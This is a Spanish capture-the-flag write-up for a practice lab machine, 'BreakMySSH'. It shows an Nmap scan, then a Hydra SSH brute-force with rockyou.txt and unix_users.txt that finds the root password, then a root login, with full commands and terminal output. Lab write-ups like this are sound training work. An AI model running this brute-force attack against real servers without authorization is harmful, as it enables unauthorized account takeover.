

## 5. Máquina: BreakMySSH (Muy Fácil)


### 1. Descubrimiento de Puertos y Servicios con Nmap:

- Utilizamos Nmap para descubrir los puertos abiertos y los servicios en ejecución.

- Comando:** `nmap -sVC 172.17.0.2`

- Resultado:** Se ha encontrado el servicio ssh abierto.

### 2. Ataque de fuerza bruta con Hydra:

- Realizamos un ataque de fuerza bruta contra el servicio ssh usando la herramienta **Hydra**. Para las contraseñas usaremos la wordlists **rockyou.txt**, pero para los usuario en vez de ingresar directamente uno, buscaremos una wordlists de usuarios con los que realizar el ataque. Usaremos el utilizado en el  **Metasploit-framework**, llamado **unix\_users.txt**

- Comando:** `hydra -L /usr/share/wordlists/unix_users.txt -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh`

- Resultado:** Se encontró la contraseña "estrella" para el usuario host 172.17.0.2.

```
(root@kali)~# /usr/share/wordlists/dirbuster/
# hydra -L /usr/share/wordlists/unix_users.txt -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purpose

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-23 11:07:08
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting,
[DATA] max 16 tasks per 1 server, overall 16 tasks, 2409859032 login tries (l:168/p:14344399), ~150616190 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 password: estrella
[STATUS] 148.00 tries/min, 148 tries in 00:01h, 2409858887 to do in 271380:31h, 13 active
```

### 3. Conexión SSH a la máquina víctima:

- Nos conectamos a la máquina víctima mediante ssh con las credenciales encontradas. Como el host es `172.17.0.2`, la contraseña `estrella` es propiedad del usuario `root`.

- Comando:** `ssh root@172.17.0.2` (contraseña **estrella**)

- Resultado:** Nos encontramos dentro del usuario **root** en la máquina víctima con privilegios máximos. Fin de la máquina!

```
(root@kali)~# /usr/share/wordlists/
# ssh root@172.17.0.2
root@172.17.0.2's password:
Last login: Sun Jun 23 15:09:39 2024 from 172.17.0.1

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@de0649a8c73c:~# whoami
root
root@de0649a8c73c:~# ls
root@de0649a8c73c:~# cd /root
root@de0649a8c73c:~# ls
root@de0649a8c73c:~# xDaliK
-bash: xDaliK: command not found
```